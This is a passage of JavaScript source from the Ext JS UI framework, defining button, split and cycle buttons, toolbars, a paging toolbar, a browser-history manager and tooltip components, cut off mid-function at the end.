}\n        this.fireEvent(\"click\", this, a);\n        if (this.handler) {\n            this.handler.call(this.scope || this, this, a)\n        }\n    }\n}, doToggle:function () {\n    if (this.enableToggle && (this.allowDepress !== false || !this.pressed)) {\n        this.toggle()\n    }\n}, isMenuTriggerOver:function (b, a) {\n    return this.menu && !a\n}, isMenuTriggerOut:function (b, a) {\n    return this.menu && !a\n}, onMouseOver:function (b) {\n    if (!this.disabled) {\n        var a = b.within(this.el, true);\n        if (!a) {\n            this.el.addClass(\"x-btn-over\");\n            if (!this.monitoringMouseOver) {\n                this.doc.on(\"mouseover\", this.monitorMouseOver, this);\n                this.monitoringMouseOver = true\n            }\n            this.fireEvent(\"mouseover\", this, b)\n        }\n        if (this.isMenuTriggerOver(b, a)) {\n            this.fireEvent(\"menutriggerover\", this, this.menu, b)\n        }\n    }\n}, monitorMouseOver:function (a) {\n    if (a.target != this.el.dom && !a.within(this.el)) {\n        if (this.monitoringMouseOver) {\n            this.doc.un(\"mouseover\", this.monitorMouseOver, this);\n            this.monitoringMouseOver = false\n        }\n        this.onMouseOut(a)\n    }\n}, onMouseOut:function (b) {\n    var a = b.within(this.el) && b.target != this.el.dom;\n    this.el.removeClass(\"x-btn-over\");\n    this.fireEvent(\"mouseout\", this, b);\n    if (this.isMenuTriggerOut(b, a)) {\n        this.fireEvent(\"menutriggerout\", this, this.menu, b)\n    }\n}, focus:function () {\n    this.btnEl.focus()\n}, blur:function () {\n    this.btnEl.blur()\n}, onFocus:function (a) {\n    if (!this.disabled) {\n        this.el.addClass(\"x-btn-focus\")\n    }\n}, onBlur:function (a) {\n    this.el.removeClass(\"x-btn-focus\")\n}, getClickEl:function (b, a) {\n    return this.el\n}, onMouseDown:function (a) {\n    if (!this.disabled && a.button === 0) {\n        this.getClickEl(a).addClass(\"x-btn-click\");\n        this.doc.on(\"mouseup\", this.onMouseUp, this)\n    }\n}, onMouseUp:function (a) {\n    if (a.button === 0) {\n        this.getClickEl(a, true).removeClass(\"x-btn-click\");\n        this.doc.un(\"mouseup\", this.onMouseUp, this)\n    }\n}, onMenuShow:function (a) {\n    if (this.menu.ownerCt == this) {\n        this.menu.ownerCt = this;\n        this.ignoreNextClick = 0;\n        this.el.addClass(\"x-btn-menu-active\");\n        this.fireEvent(\"menushow\", this, this.menu)\n    }\n}, onMenuHide:function (a) {\n    if (this.menu.ownerCt == this) {\n        this.el.removeClass(\"x-btn-menu-active\");\n        this.ignoreNextClick = this.restoreClick.defer(250, this);\n        this.fireEvent(\"menuhide\", this, this.menu);\n        delete this.menu.ownerCt\n    }\n}, restoreClick:function () {\n    this.ignoreNextClick = 0\n}});\nExt.reg(\"button\", Ext.Button);\nExt.ButtonToggleMgr = function () {\n    var a = {};\n\n    function b(e, j) {\n        if (j) {\n            var h = a[e.toggleGroup];\n            for (var d = 0, c = h.length; d < c; d++) {\n                if (h[d] != e) {\n                    h[d].toggle(false)\n                }\n            }\n        }\n    }\n\n    return{register:function (c) {\n        if (!c.toggleGroup) {\n            return\n        }\n        var d = a[c.toggleGroup];\n        if (!d) {\n            d = a[c.toggleGroup] = []\n        }\n        d.push(c);\n        c.on(\"toggle\", b)\n    }, unregister:function (c) {\n        if (!c.toggleGroup) {\n            return\n        }\n        var d = a[c.toggleGroup];\n        if (d) {\n            d.remove(c);\n            c.un(\"toggle\", b)\n        }\n    }, getPressed:function (h) {\n        var e = a[h];\n        if (e) {\n            for (var d = 0, c = e.length; d < c; d++) {\n                if (e[d].pressed === true) {\n                    return e[d]\n                }\n            }\n        }\n        return null\n    }}\n}();\nExt.SplitButton = Ext.extend(Ext.Button, {arrowSelector:\"em\", split:true, initComponent:function () {\n    Ext.SplitButton.superclass.initComponent.call(this);\n    this.addEvents(\"arrowclick\")\n}, onRender:function () {\n    Ext.SplitButton.superclass.onRender.apply(this, arguments);\n    if (this.arrowTooltip) {\n        this.el.child(this.arrowSelector).dom[this.tooltipType] = this.arrowTooltip\n    }\n}, setArrowHandler:function (b, a) {\n    this.arrowHandler = b;\n    this.scope = a\n}, getMenuClass:function () {\n    return\"x-btn-split\" + (this.arrowAlign == \"bottom\" ? \"-bottom\" : \"\")\n}, isClickOnArrow:function (c) {\n    if (this.arrowAlign != \"bottom\") {\n        var b = this.el.child(\"em.x-btn-split\");\n        var a = b.getRegion().right - b.getPadding(\"r\");\n        return c.getPageX() > a\n    } else {\n        return c.getPageY() > this.btnEl.getRegion().bottom\n    }\n}, onClick:function (b, a) {\n    b.preventDefault();\n    if (!this.disabled) {\n        if (this.isClickOnArrow(b)) {\n            if (this.menu && !this.menu.isVisible() && !this.ignoreNextClick) {\n                this.showMenu()\n            }\n            this.fireEvent(\"arrowclick\", this, b);\n            if (this.arrowHandler) {\n                this.arrowHandler.call(this.scope || this, this, b)\n            }\n        } else {\n            this.doToggle();\n            this.fireEvent(\"click\", this, b);\n            if (this.handler) {\n                this.handler.call(this.scope || this, this, b)\n            }\n        }\n    }\n}, isMenuTriggerOver:function (a) {\n    return this.menu && a.target.tagName == this.arrowSelector\n}, isMenuTriggerOut:function (b, a) {\n    return this.menu && b.target.tagName != this.arrowSelector\n}});\nExt.reg(\"splitbutton\", Ext.SplitButton);\nExt.CycleButton = Ext.extend(Ext.SplitButton, {getItemText:function (a) {\n    if (a && this.showText === true) {\n        var b = \"\";\n        if (this.prependText) {\n            b += this.prependText\n        }\n        b += a.text;\n        return b\n    }\n    return undefined\n}, setActiveItem:function (c, a) {\n    if (!Ext.isObject(c)) {\n        c = this.menu.getComponent(c)\n    }\n    if (c) {\n        if (!this.rendered) {\n            this.text = this.getItemText(c);\n            this.iconCls = c.iconCls\n        } else {\n            var b = this.getItemText(c);\n            if (b) {\n                this.setText(b)\n            }\n            this.setIconClass(c.iconCls)\n        }\n        this.activeItem = c;\n        if (!c.checked) {\n            c.setChecked(true, a)\n        }\n        if (this.forceIcon) {\n            this.setIconClass(this.forceIcon)\n        }\n        if (!a) {\n            this.fireEvent(\"change\", this, c)\n        }\n    }\n}, getActiveItem:function () {\n    return this.activeItem\n}, initComponent:function () {\n    this.addEvents(\"change\");\n    if (this.changeHandler) {\n        this.on(\"change\", this.changeHandler, this.scope || this);\n        delete this.changeHandler\n    }\n    this.itemCount = this.items.length;\n    this.menu = {cls:\"x-cycle-menu\", items:[]};\n    var a = 0;\n    Ext.each(this.items, function (c, b) {\n        Ext.apply(c, {group:c.group || this.id, itemIndex:b, checkHandler:this.checkHandler, scope:this, checked:c.checked || false});\n        this.menu.items.push(c);\n        if (c.checked) {\n            a = b\n        }\n    }, this);\n    Ext.CycleButton.superclass.initComponent.call(this);\n    this.on(\"click\", this.toggleSelected, this);\n    this.setActiveItem(a, true)\n}, checkHandler:function (a, b) {\n    if (b) {\n        this.setActiveItem(a)\n    }\n}, toggleSelected:function () {\n    var a = this.menu;\n    a.render();\n    if (!a.hasLayout) {\n        a.doLayout()\n    }\n    var d, b;\n    for (var c = 1; c < this.itemCount; c++) {\n        d = (this.activeItem.itemIndex + c) % this.itemCount;\n        b = a.items.itemAt(d);\n        if (!b.disabled) {\n            b.setChecked(true);\n            break\n        }\n    }\n}});\nExt.reg(\"cycle\", Ext.CycleButton);\nExt.Toolbar = function (a) {\n    if (Ext.isArray(a)) {\n        a = {items:a, layout:\"toolbar\"}\n    } else {\n        a = Ext.apply({layout:\"toolbar\"}, a);\n        if (a.buttons) {\n            a.items = a.buttons\n        }\n    }\n    Ext.Toolbar.superclass.constructor.call(this, a)\n};\n(function () {\n    var a = Ext.Toolbar;\n    Ext.extend(a, Ext.Container, {defaultType:\"button\", enableOverflow:false, trackMenus:true, internalDefaults:{removeMode:\"container\", hideParent:true}, toolbarCls:\"x-toolbar\", initComponent:function () {\n        a.superclass.initComponent.call(this);\n        this.addEvents(\"overflowchange\")\n    }, onRender:function (c, b) {\n        if (!this.el) {\n            if (!this.autoCreate) {\n                this.autoCreate = {cls:this.toolbarCls + \" x-small-editor\"}\n            }\n            this.el = c.createChild(Ext.apply({id:this.id}, this.autoCreate), b);\n            Ext.Toolbar.superclass.onRender.apply(this, arguments)\n        }\n    }, lookupComponent:function (b) {\n        if (Ext.isString(b)) {\n            if (b == \"-\") {\n                b = new a.Separator()\n            } else {\n                if (b == \" \") {\n                    b = new a.Spacer()\n                } else {\n                    if (b == \"->\") {\n                        b = new a.Fill()\n                    } else {\n                        b = new a.TextItem(b)\n                    }\n                }\n            }\n            this.applyDefaults(b)\n        } else {\n            if (b.isFormField || b.render) {\n                b = this.createComponent(b)\n            } else {\n                if (b.tag) {\n                    b = new a.Item({autoEl:b})\n                } else {\n                    if (b.tagName) {\n                        b = new a.Item({el:b})\n                    } else {\n                        if (Ext.isObject(b)) {\n                            b = b.xtype ? this.createComponent(b) : this.constructButton(b)\n                        }\n                    }\n                }\n            }\n        }\n        return b\n    }, applyDefaults:function (e) {\n        if (!Ext.isString(e)) {\n            e = Ext.Toolbar.superclass.applyDefaults.call(this, e);\n            var b = this.internalDefaults;\n            if (e.events) {\n                Ext.applyIf(e.initialConfig, b);\n                Ext.apply(e, b)\n            } else {\n                Ext.applyIf(e, b)\n            }\n        }\n        return e\n    }, addSeparator:function () {\n        return this.add(new a.Separator())\n    }, addSpacer:function () {\n        return this.add(new a.Spacer())\n    }, addFill:function () {\n        this.add(new a.Fill())\n    }, addElement:function (b) {\n        return this.addItem(new a.Item({el:b}))\n    }, addItem:function (b) {\n        return this.add.apply(this, arguments)\n    }, addButton:function (c) {\n        if (Ext.isArray(c)) {\n            var e = [];\n            for (var d = 0, b = c.length; d < b; d++) {\n                e.push(this.addButton(c[d]))\n            }\n            return e\n        }\n        return this.add(this.constructButton(c))\n    }, addText:function (b) {\n        return this.addItem(new a.TextItem(b))\n    }, addDom:function (b) {\n        return this.add(new a.Item({autoEl:b}))\n    }, addField:function (b) {\n        return this.add(b)\n    }, insertButton:function (c, g) {\n        if (Ext.isArray(g)) {\n            var e = [];\n            for (var d = 0, b = g.length; d < b; d++) {\n                e.push(this.insertButton(c + d, g[d]))\n            }\n            return e\n        }\n        return Ext.Toolbar.superclass.insert.call(this, c, g)\n    }, trackMenu:function (c, b) {\n        if (this.trackMenus && c.menu) {\n            var d = b ? \"mun\" : \"mon\";\n            this[d](c, \"menutriggerover\", this.onButtonTriggerOver, this);\n            this[d](c, \"menushow\", this.onButtonMenuShow, this);\n            this[d](c, \"menuhide\", this.onButtonMenuHide, this)\n        }\n    }, constructButton:function (d) {\n        var c = d.events ? d : this.createComponent(d, d.split ? \"splitbutton\" : this.defaultType);\n        return c\n    }, onAdd:function (b) {\n        Ext.Toolbar.superclass.onAdd.call(this);\n        this.trackMenu(b);\n        if (this.disabled) {\n            b.disable()\n        }\n    }, onRemove:function (b) {\n        Ext.Toolbar.superclass.onRemove.call(this);\n        if (b == this.activeMenuBtn) {\n            delete this.activeMenuBtn\n        }\n        this.trackMenu(b, true)\n    }, onDisable:function () {\n        this.items.each(function (b) {\n            if (b.disable) {\n                b.disable()\n            }\n        })\n    }, onEnable:function () {\n        this.items.each(function (b) {\n            if (b.enable) {\n                b.enable()\n            }\n        })\n    }, onButtonTriggerOver:function (b) {\n        if (this.activeMenuBtn && this.activeMenuBtn != b) {\n            this.activeMenuBtn.hideMenu();\n            b.showMenu();\n            this.activeMenuBtn = b\n        }\n    }, onButtonMenuShow:function (b) {\n        this.activeMenuBtn = b\n    }, onButtonMenuHide:function (b) {\n        delete this.activeMenuBtn\n    }});\n    Ext.reg(\"toolbar\", Ext.Toolbar);\n    a.Item = Ext.extend(Ext.BoxComponent, {hideParent:true, enable:Ext.emptyFn, disable:Ext.emptyFn, focus:Ext.emptyFn});\n    Ext.reg(\"tbitem\", a.Item);\n    a.Separator = Ext.extend(a.Item, {onRender:function (c, b) {\n        this.el = c.createChild({tag:\"span\", cls:\"xtb-sep\"}, b)\n    }});\n    Ext.reg(\"tbseparator\", a.Separator);\n    a.Spacer = Ext.extend(a.Item, {onRender:function (c, b) {\n        this.el = c.createChild({tag:\"div\", cls:\"xtb-spacer\", style:this.width ? \"width:\" + this.width + \"px\" : \"\"}, b)\n    }});\n    Ext.reg(\"tbspacer\", a.Spacer);\n    a.Fill = Ext.extend(a.Item, {render:Ext.emptyFn, isFill:true});\n    Ext.reg(\"tbfill\", a.Fill);\n    a.TextItem = Ext.extend(a.Item, {constructor:function (b) {\n        a.TextItem.superclass.constructor.call(this, Ext.isString(b) ? {text:b} : b)\n    }, onRender:function (c, b) {\n        this.autoEl = {cls:\"xtb-text\", html:this.text || \"\"};\n        a.TextItem.superclass.onRender.call(this, c, b)\n    }, setText:function (b) {\n        if (this.rendered) {\n            this.el.update(b)\n        } else {\n            this.text = b\n        }\n    }});\n    Ext.reg(\"tbtext\", a.TextItem);\n    a.Button = Ext.extend(Ext.Button, {});\n    a.SplitButton = Ext.extend(Ext.SplitButton, {});\n    Ext.reg(\"tbbutton\", a.Button);\n    Ext.reg(\"tbsplit\", a.SplitButton)\n})();\nExt.ButtonGroup = Ext.extend(Ext.Panel, {baseCls:\"x-btn-group\", layout:\"table\", defaultType:\"button\", frame:true, internalDefaults:{removeMode:\"container\", hideParent:true}, initComponent:function () {\n    this.layoutConfig = this.layoutConfig || {};\n    Ext.applyIf(this.layoutConfig, {columns:this.columns});\n    if (!this.title) {\n        this.addClass(\"x-btn-group-notitle\")\n    }\n    this.on(\"afterlayout\", this.onAfterLayout, this);\n    Ext.ButtonGroup.superclass.initComponent.call(this)\n}, applyDefaults:function (b) {\n    b = Ext.ButtonGroup.superclass.applyDefaults.call(this, b);\n    var a = this.internalDefaults;\n    if (b.events) {\n        Ext.applyIf(b.initialConfig, a);\n        Ext.apply(b, a)\n    } else {\n        Ext.applyIf(b, a)\n    }\n    return b\n}, onAfterLayout:function () {\n    var a = this.body.getFrameWidth(\"lr\") + this.body.dom.firstChild.offsetWidth;\n    this.body.setWidth(a);\n    this.el.setWidth(a + this.getFrameWidth())\n}});\nExt.reg(\"buttongroup\", Ext.ButtonGroup);\n(function () {\n    var a = Ext.Toolbar;\n    Ext.PagingToolbar = Ext.extend(Ext.Toolbar, {pageSize:20, displayMsg:\"Displaying {0} - {1} of {2}\", emptyMsg:\"No data to display\", beforePageText:\"Page\", afterPageText:\"of {0}\", firstText:\"First Page\", prevText:\"Previous Page\", nextText:\"Next Page\", lastText:\"Last Page\", refreshText:\"Refresh\", initComponent:function () {\n        var c = [this.first = new a.Button({tooltip:this.firstText, overflowText:this.firstText, iconCls:\"x-tbar-page-first\", disabled:true, handler:this.moveFirst, scope:this}), this.prev = new a.Button({tooltip:this.prevText, overflowText:this.prevText, iconCls:\"x-tbar-page-prev\", disabled:true, handler:this.movePrevious, scope:this}), \"-\", this.beforePageText, this.inputItem = new Ext.form.NumberField({cls:\"x-tbar-page-number\", allowDecimals:false, allowNegative:false, enableKeyEvents:true, selectOnFocus:true, submitValue:false, listeners:{scope:this, keydown:this.onPagingKeyDown, blur:this.onPagingBlur}}), this.afterTextItem = new a.TextItem({text:String.format(this.afterPageText, 1)}), \"-\", this.next = new a.Button({tooltip:this.nextText, overflowText:this.nextText, iconCls:\"x-tbar-page-next\", disabled:true, handler:this.moveNext, scope:this}), this.last = new a.Button({tooltip:this.lastText, overflowText:this.lastText, iconCls:\"x-tbar-page-last\", disabled:true, handler:this.moveLast, scope:this}), \"-\", this.refresh = new a.Button({tooltip:this.refreshText, overflowText:this.refreshText, iconCls:\"x-tbar-loading\", handler:this.doRefresh, scope:this})];\n        var b = this.items || this.buttons || [];\n        if (this.prependButtons) {\n            this.items = b.concat(c)\n        } else {\n            this.items = c.concat(b)\n        }\n        delete this.buttons;\n        if (this.displayInfo) {\n            this.items.push(\"->\");\n            this.items.push(this.displayItem = new a.TextItem({}))\n        }\n        Ext.PagingToolbar.superclass.initComponent.call(this);\n        this.addEvents(\"change\", \"beforechange\");\n        this.on(\"afterlayout\", this.onFirstLayout, this, {single:true});\n        this.cursor = 0;\n        this.bindStore(this.store, true)\n    }, onFirstLayout:function () {\n        if (this.dsLoaded) {\n            this.onLoad.apply(this, this.dsLoaded)\n        }\n    }, updateInfo:function () {\n        if (this.displayItem) {\n            var b = this.store.getCount();\n            var c = b == 0 ? this.emptyMsg : String.format(this.displayMsg, this.cursor + 1, this.cursor + b, this.store.getTotalCount());\n            this.displayItem.setText(c)\n        }\n    }, onLoad:function (b, e, j) {\n        if (!this.rendered) {\n            this.dsLoaded = [b, e, j];\n            return\n        }\n        var g = this.getParams();\n        this.cursor = (j.params && j.params[g.start]) ? j.params[g.start] : 0;\n        var i = this.getPageData(), c = i.activePage, h = i.pages;\n        this.afterTextItem.setText(String.format(this.afterPageText, i.pages));\n        this.inputItem.setValue(c);\n        this.first.setDisabled(c == 1);\n        this.prev.setDisabled(c == 1);\n        this.next.setDisabled(c == h);\n        this.last.setDisabled(c == h);\n        this.refresh.enable();\n        this.updateInfo();\n        this.fireEvent(\"change\", this, i)\n    }, getPageData:function () {\n        var b = this.store.getTotalCount();\n        return{total:b, activePage:Math.ceil((this.cursor + this.pageSize) / this.pageSize), pages:b < this.pageSize ? 1 : Math.ceil(b / this.pageSize)}\n    }, changePage:function (b) {\n        this.doLoad(((b - 1) * this.pageSize).constrain(0, this.store.getTotalCount()))\n    }, onLoadError:function () {\n        if (!this.rendered) {\n            return\n        }\n        this.refresh.enable()\n    }, readPage:function (e) {\n        var b = this.inputItem.getValue(), c;\n        if (!b || isNaN(c = parseInt(b, 10))) {\n            this.inputItem.setValue(e.activePage);\n            return false\n        }\n        return c\n    }, onPagingFocus:function () {\n        this.inputItem.select()\n    }, onPagingBlur:function (b) {\n        this.inputItem.setValue(this.getPageData().activePage)\n    }, onPagingKeyDown:function (i, h) {\n        var c = h.getKey(), j = this.getPageData(), g;\n        if (c == h.RETURN) {\n            h.stopEvent();\n            g = this.readPage(j);\n            if (g !== false) {\n                g = Math.min(Math.max(1, g), j.pages) - 1;\n                this.doLoad(g * this.pageSize)\n            }\n        } else {\n            if (c == h.HOME || c == h.END) {\n                h.stopEvent();\n                g = c == h.HOME ? 1 : j.pages;\n                i.setValue(g)\n            } else {\n                if (c == h.UP || c == h.PAGEUP || c == h.DOWN || c == h.PAGEDOWN) {\n                    h.stopEvent();\n                    if ((g = this.readPage(j))) {\n                        var b = h.shiftKey ? 10 : 1;\n                        if (c == h.DOWN || c == h.PAGEDOWN) {\n                            b *= -1\n                        }\n                        g += b;\n                        if (g >= 1 & g <= j.pages) {\n                            i.setValue(g)\n                        }\n                    }\n                }\n            }\n        }\n    }, getParams:function () {\n        return this.paramNames || this.store.paramNames\n    }, beforeLoad:function () {\n        if (this.rendered && this.refresh) {\n            this.refresh.disable()\n        }\n    }, doLoad:function (d) {\n        var c = {}, b = this.getParams();\n        c[b.start] = d;\n        c[b.limit] = this.pageSize;\n        if (this.fireEvent(\"beforechange\", this, c) !== false) {\n            this.store.load({params:c})\n        }\n    }, moveFirst:function () {\n        this.doLoad(0)\n    }, movePrevious:function () {\n        this.doLoad(Math.max(0, this.cursor - this.pageSize))\n    }, moveNext:function () {\n        this.doLoad(this.cursor + this.pageSize)\n    }, moveLast:function () {\n        var c = this.store.getTotalCount(), b = c % this.pageSize;\n        this.doLoad(b ? (c - b) : c - this.pageSize)\n    }, doRefresh:function () {\n        this.doLoad(this.cursor)\n    }, bindStore:function (c, d) {\n        var b;\n        if (!d && this.store) {\n            if (c !== this.store && this.store.autoDestroy) {\n                this.store.destroy()\n            } else {\n                this.store.un(\"beforeload\", this.beforeLoad, this);\n                this.store.un(\"load\", this.onLoad, this);\n                this.store.un(\"exception\", this.onLoadError, this)\n            }\n            if (!c) {\n                this.store = null\n            }\n        }\n        if (c) {\n            c = Ext.StoreMgr.lookup(c);\n            c.on({scope:this, beforeload:this.beforeLoad, load:this.onLoad, exception:this.onLoadError});\n            b = true\n        }\n        this.store = c;\n        if (b) {\n            this.onLoad(c, null, {})\n        }\n    }, unbind:function (b) {\n        this.bindStore(null)\n    }, bind:function (b) {\n        this.bindStore(b)\n    }, onDestroy:function () {\n        this.bindStore(null);\n        Ext.PagingToolbar.superclass.onDestroy.call(this)\n    }})\n})();\nExt.reg(\"paging\", Ext.PagingToolbar);\nExt.History = (function () {\n    var e, c;\n    var k = false;\n    var d;\n\n    function g() {\n        var l = location.href, m = l.indexOf(\"#\"), n = m >= 0 ? l.substr(m + 1) : null;\n        if (Ext.isGecko) {\n            n = decodeURIComponent(n)\n        }\n        return n\n    }\n\n    function a() {\n        c.value = d\n    }\n\n    function h(l) {\n        d = l;\n        Ext.History.fireEvent(\"change\", l)\n    }\n\n    function i(m) {\n        var l = ['<html><body><div id=\"state\">', Ext.util.Format.htmlEncode(m), \"</div></body></html>\"].join(\"\");\n        try {\n            var o = e.contentWindow.document;\n            o.open();\n            o.write(l);\n            o.close();\n            return true\n        } catch (n) {\n            return false\n        }\n    }\n\n    function b() {\n        if (!e.contentWindow || !e.contentWindow.document) {\n            setTimeout(b, 10);\n            return\n        }\n        var o = e.contentWindow.document;\n        var m = o.getElementById(\"state\");\n        var l = m ? m.innerText : null;\n        var n = g();\n        setInterval(function () {\n            o = e.contentWindow.document;\n            m = o.getElementById(\"state\");\n            var q = m ? m.innerText : null;\n            var p = g();\n            if (q !== l) {\n                l = q;\n                h(l);\n                location.hash = l;\n                n = l;\n                a()\n            } else {\n                if (p !== n) {\n                    n = p;\n                    i(p)\n                }\n            }\n        }, 50);\n        k = true;\n        Ext.History.fireEvent(\"ready\", Ext.History)\n    }\n\n    function j() {\n        d = c.value ? c.value : g();\n        if (Ext.isIE) {\n            b()\n        } else {\n            var l = g();\n            setInterval(function () {\n                var m = g();\n                if (m !== l) {\n                    l = m;\n                    h(l);\n                    a()\n                }\n            }, 50);\n            k = true;\n            Ext.History.fireEvent(\"ready\", Ext.History)\n        }\n    }\n\n    return{fieldId:\"x-history-field\", iframeId:\"x-history-frame\", events:{}, init:function (m, l) {\n        if (k) {\n            Ext.callback(m, l, [this]);\n            return\n        }\n        if (!Ext.isReady) {\n            Ext.onReady(function () {\n                Ext.History.init(m, l)\n            });\n            return\n        }\n        c = Ext.getDom(Ext.History.fieldId);\n        if (Ext.isIE) {\n            e = Ext.getDom(Ext.History.iframeId)\n        }\n        this.addEvents(\"ready\", \"change\");\n        if (m) {\n            this.on(\"ready\", m, l, {single:true})\n        }\n        j()\n    }, add:function (l, m) {\n        if (m !== false) {\n            if (this.getToken() == l) {\n                return true\n            }\n        }\n        if (Ext.isIE) {\n            return i(l)\n        } else {\n            location.hash = l;\n            return true\n        }\n    }, back:function () {\n        history.go(-1)\n    }, forward:function () {\n        history.go(1)\n    }, getToken:function () {\n        return k ? d : g()\n    }}\n})();\nExt.apply(Ext.History, new Ext.util.Observable());\nExt.Tip = Ext.extend(Ext.Panel, {minWidth:40, maxWidth:300, shadow:\"sides\", defaultAlign:\"tl-bl?\", autoRender:true, quickShowInterval:250, frame:true, hidden:true, baseCls:\"x-tip\", floating:{shadow:true, shim:true, useDisplay:true, constrain:false}, autoHeight:true, closeAction:\"hide\", initComponent:function () {\n    Ext.Tip.superclass.initComponent.call(this);\n    if (this.closable && !this.title) {\n        this.elements += \",header\"\n    }\n}, afterRender:function () {\n    Ext.Tip.superclass.afterRender.call(this);\n    if (this.closable) {\n        this.addTool({id:\"close\", handler:this[this.closeAction], scope:this})\n    }\n}, showAt:function (a) {\n    Ext.Tip.superclass.show.call(this);\n    if (this.measureWidth !== false && (!this.initialConfig || typeof this.initialConfig.width != \"number\")) {\n        this.doAutoWidth()\n    }\n    if (this.constrainPosition) {\n        a = this.el.adjustForConstraints(a)\n    }\n    this.setPagePosition(a[0], a[1])\n}, doAutoWidth:function (a) {\n    a = a || 0;\n    var b = this.body.getTextWidth();\n    if (this.title) {\n        b = Math.max(b, this.header.child(\"span\").getTextWidth(this.title))\n    }\n    b += this.getFrameWidth() + (this.closable ? 20 : 0) + this.body.getPadding(\"lr\") + a;\n    this.setWidth(b.constrain(this.minWidth, this.maxWidth));\n    if (Ext.isIE7 && !this.repainted) {\n        this.el.repaint();\n        this.repainted = true\n    }\n}, showBy:function (a, b) {\n    if (!this.rendered) {\n        this.render(Ext.getBody())\n    }\n    this.showAt(this.el.getAlignToXY(a, b || this.defaultAlign))\n}, initDraggable:function () {\n    this.dd = new Ext.Tip.DD(this, typeof this.draggable == \"boolean\" ? null : this.draggable);\n    this.header.addClass(\"x-tip-draggable\")\n}});\nExt.reg(\"tip\", Ext.Tip);\nExt.Tip.DD = function (b, a) {\n    Ext.apply(this, a);\n    this.tip = b;\n    Ext.Tip.DD.superclass.constructor.call(this, b.el.id, \"WindowDD-\" + b.id);\n    this.setHandleElId(b.header.id);\n    this.scroll = false\n};\nExt.extend(Ext.Tip.DD, Ext.dd.DD, {moveOnly:true, scroll:false, headerOffsets:[100, 25], startDrag:function () {\n    this.tip.el.disableShadow()\n}, endDrag:function (a) {\n    this.tip.el.enableShadow(true)\n}});\nExt.ToolTip = Ext.extend(Ext.Tip, {showDelay:500, hideDelay:200, dismissDelay:5000, trackMouse:false, anchorToTarget:true, anchorOffset:0, targetCounter:0, constrainPosition:false, initComponent:function () {\n    Ext.ToolTip.superclass.initComponent.call(this);\n    this.lastActive = new Date();\n    this.initTarget(this.target);\n    this.origAnchor = this.anchor\n}, onRender:function (b, a) {\n    Ext.ToolTip.superclass.onRender.call(this, b, a);\n    this.anchorCls = \"x-tip-anchor-\" + this.getAnchorPosition();\n    this.anchorEl = this.el.createChild({cls:\"x-tip-anchor \" + this.anchorCls})\n}, afterRender:function () {\n    Ext.ToolTip.superclass.afterRender.call(this);\n    this.anchorEl.setStyle(\"z-index\", this.el.getZIndex() + 1).setVisibilityMode(Ext.Element.DISPLAY)\n}, initTarget:function (c) {\n    var a;\n    if ((a = Ext.get(c))) {\n        if (this.target) {\n            var b = Ext.get(this.target);\n            this.mun(b, \"mouseover\", this.onTargetOver, this);\n            this.mun(b, \"mouseout\", this.onTargetOut, this);\n            this.mun(b, \"mousemove\", this.onMouseMove, this)\n        }\n        this.mon(a, {mouseover:this.onTargetOver, mouseout:this.onTargetOut, mousemove:this.onMouseMove, scope:this});\n        this.target = a\n    }\n    if (this.anchor) {\n        this.anchorTarget = this.target\n    }\n}, onMouseMove:function (b) {\n    var a = this.delegate ? b.getTarget(this.delegate) : this.triggerElement = true;\n    if (a) {\n        this.targetXY = b.getXY();\n        if (a === this.triggerElement) {\n            if (!this.hidden && this.trackMouse) {\n                this.setPagePosition(this.getTargetXY())\n            }\n        } else {\n            this.hide();\n            this.lastActive = new Date(0);\n            this.onTargetOver(b)\n        }\n    } else {\n        if (!this.closable && this.isVisible()) {\n            this.hide()\n        }\n    }\n}, getTargetXY:function () {\n    if (this.delegate) {\n        this.anchorTarget = this.triggerElement\n    }\n    if (this.anchor) {\n        this.targetCounter++;\n        var c = this.getOffsets(), l = (this.anchorToTarget && !this.trackMouse) ? this.el.getAlignToXY(this.anchorTarget, this.getAnchorAlign()) : this.targetXY, a = Ext.lib.Dom.getViewWidth() - 5, h = Ext.lib.Dom.getViewHeight() - 5, i = document.documentElement, e = document.body, k = (i.scrollLeft || e.scrollLeft || 0) + 5, j = (i.scrollTop || e.scrollTop || 0) + 5, b = [l[0] + c[0], l[1] + c[1]], g = this.getSize();\n        this.anchorEl.removeClass(this.anchorCls);\n        if (this.targetCounter < 2) {\n            if (b[0] < k) {\n                if (this.anchorToTarget) {\n                    this.defaultAlign = \"l-r\";\n                    if (this.mouseOffset) {\n                        this.mouseOffset[0] *= -1\n                    }\n                }\n                this.anchor = \"left\";\n                return this.getTargetXY()\n            }\n            if (b[0] + g.width > a) {\n                if (this.anchorToTarget) {\n                    this.defaultAlign = \"r-l\";\n                    if (this.mouseOffset) {\n                        this.mouseOffset[0] *= -1\n                    }\n                }\n                this.anchor = \"right\";\n                return this.getTargetXY()\n            }\n            if (b[1] < j) {\n                if (this.anchorToTarget) {\n                    this.defaultAlign = \"t-b\";\n                    if (this.mouseOffset) {\n                        this.mouseOffset[1] *= -1\n                    }\n                }\n                this.anchor = \"top\";\n                return this.getTargetXY()\n            }\n            if (b[1] + g.height > h) {\n                if (this.anchorToTarget) {\n                    this.defaultAlign = \"b-t\";\n                    if (this.mouseOffset) {\n                        this.mouseOffset[1] *= -1\n                    }\n                }\n                this.anchor = \"bottom\";\n                return this.getTargetXY()\n            }\n        }\n        this.anchorCls = \"x-tip-anchor-\" + this.getAnchorPosition();\n        this.anchorEl.addClass(this.anchorCls);\n        this.targetCounter = 0;\n        return b\n    } else {\n        var d = this.getMouseOffset();\n        return[this.targetXY[0] + d[0], this.targetXY[1] + d[1]]\n    }\n}, getMouseOffset:function () {\n    var a = this.anchor ? [0, 0] : [15, 18];\n    if (this.mouseOffset) {\n        a[0] += this.mouseOffset[0];\n        a[1] += this.mouseOffset[1]\n    }\n    return a\n}, getAnchorPosition:function () {\n    if (this.anchor) {\n        this.tipAnchor = this.anchor.charAt(0)\n    } else {\n        var a = this.defaultAlign.match(/^([a-z]+)-([a-z]+)(\\?)?$/);\n        if (!a) {\n            throw\"AnchorTip.defaultAlign is invalid\"\n        }\n        this.tipAnchor = a[1].charAt(0)\n    }\n    switch (this.tipAnchor) {\n        case\"t\":\n            return\"top\";\n        case\"b\":\n            return\"bottom\";\n        case\"r\":\n            return\"right\"\n    }\n    return\"left\"\n}, getAnchorAlign:function () {\n    switch (this.anchor) {\n        case\"top\":\n            return\"tl-bl\";\n        case\"left\":\n            return\"tl-tr\";\n        case\"right\":\n            return\"tr-tl\";\n        default:\n            return\"bl-tl\"\n    }\n}, getOffsets:function () {\n    var b, a = this.getAnchorPosition().charAt(0);\n    if (this.anchorToTarget && !this.trackMouse) {\n        switch (a) {\n            case\"t\":\n                b = 